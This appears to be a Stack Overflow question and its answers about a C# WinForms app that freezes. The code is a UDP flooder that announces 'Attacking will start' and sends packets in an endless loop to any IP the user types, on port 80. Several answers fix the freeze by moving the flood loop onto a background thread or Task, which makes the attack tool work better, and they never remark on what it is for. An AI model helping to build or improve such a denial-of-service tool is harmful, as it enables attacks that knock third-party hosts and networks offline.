Anthony
Anthony

Reputation: 11

My C# Application keeps freezing when i execute the following code(loops):

When i execute the following code in my program the form becomes unresponsive

I have tried multiple solutions but all gave been unsuccessful.

Would appreciate some help :)

    private void metroButton2_Click(object sender, EventArgs e)
    {
        if (textBox1.Text == "")
        {
            MetroMessageBox.Show(this, "Please input a IP-Address", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        else
        {


            MetroMessageBox.Show(this, "Attacking will start untill you manually stop it", "INFO", MessageBoxButtons.OK, MessageBoxIcon.Hand);

            string acttive = "active";


            byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes("a");
            string IP = textBox1.Text;
            int port = 80;

            IPEndPoint ep = new IPEndPoint(IPAddress.Parse(IP), port);

            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            System.Threading.Thread.Sleep(500);
            while (acttive == "active")

                client.SendTo(packetData, ep);
        }

Upvotes: 0

Views: 672

Answers (5)

Zein Makki
Zein Makki

Reputation: 30022

Any long-running (or continuously-running) task that is executed on the UI thread will cause it to be busy and freeze (aka Not Responding).

These parts of your program should be executed asynchronously on a separate thread.

Your best approach is to use async/await modifiers and not to explicitly create a new Thread. To ensure that any code that follows will be executed as expected.

private async void metroButton2_Click(object sender, EventArgs e)
{
    if (textBox1.Text == "")
    {
        MetroMessageBox.Show(this, "Please input a IP-Address", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    }
    else
    {


        MetroMessageBox.Show(this, "Attacking will start untill you manually stop it", "INFO", MessageBoxButtons.OK, MessageBoxIcon.Hand);

        string acttive = "active";


        byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes("a");
        string IP = textBox1.Text;
        int port = 80;

        IPEndPoint ep = new IPEndPoint(IPAddress.Parse(IP), port);

        Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
        System.Threading.Thread.Sleep(500);

        await Task.Run
        (
            () =>
            {
                while (acttive == "active")
                    client.SendTo(packetData, ep);
            }
        );

        // Rest of your code here will wait for the while loop to exit
    }
    // Rest of your code here will wait for the while loop to exit
}

Upvotes: 0

Eniola
Eniola

Reputation: 720

Perhaps you should consider using the ThreadPool or better still, the more elegant Task Api as suggested by @user3185569.

Still, the designated thread that gets the work will be locked in an infinite loop. Your loop control variable needs to be updated somewhere to ensure the if condition eventually evaluates to false, so the loop can exit and the thread can be reclaimed.

Also, consider a neat way of packaging up your variables - active, packetData and ep.

Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

Should also have been initialized elsewhere other than the even method on the UI thread. Since it is reused, it will be better as a class level variable. There is also no provision to explicitly Dispose it.

Upvotes: 0

Tinwor
Tinwor

Reputation: 7973

This happens because you are locking the UI thread. Just put the while loop inside a thread and it will work pretty fine without blocking the UI thread.
You can do something like this:

new Thread(() => 
{
    Thread.CurrentThread.IsBackground = true; 
    while (acttive == "active")
        client.SendTo(packetData, ep);
}).Start();

Pay attention to the possible race condition generate when you compare the acttive property.
An easy way to avoid race condition over acttive property could be this one:

private object obj = new object();
private string _active;
private string acctive
{
    get {
        lock (obj)
        {
            return _active;
        }
    }
    set
    {
        lock (obj)
        {
            _active = value;
        }
    }
}

Upvotes: 1

pijemcolu
pijemcolu

Reputation: 2595

            while (acttive == "active")

            client.SendTo(packetData, ep);

what is this code supposed to do? As of now it is an infinite loop as you never change the variable acttive into anything else then "active"

First of all you should use curly braces for your while loop in order to understand where it actually starts and ends:

        while(acttive = "active")
    {
        // perform the task at hand
        client.SendTo(packetData, ep);

        //insert logic to change the acttive variable into something else then active in order to exit the loop.
        acttive = "whatever";
    }

On the other hand it seems to me like the whole loop is simply a bad idea and a simple if statement would most likely do.

        if(acttive = "active")
    {
        client.SendTo(packetData, ep);
    }
    else
    {
        //too bad ....
    }

Upvotes: 0

fubo
fubo

Reputation: 45947

 while (acttive == "active")
     client.SendTo(packetData, ep);

You're missing a break or a abort condition here.

Upvotes: 1

Related Questions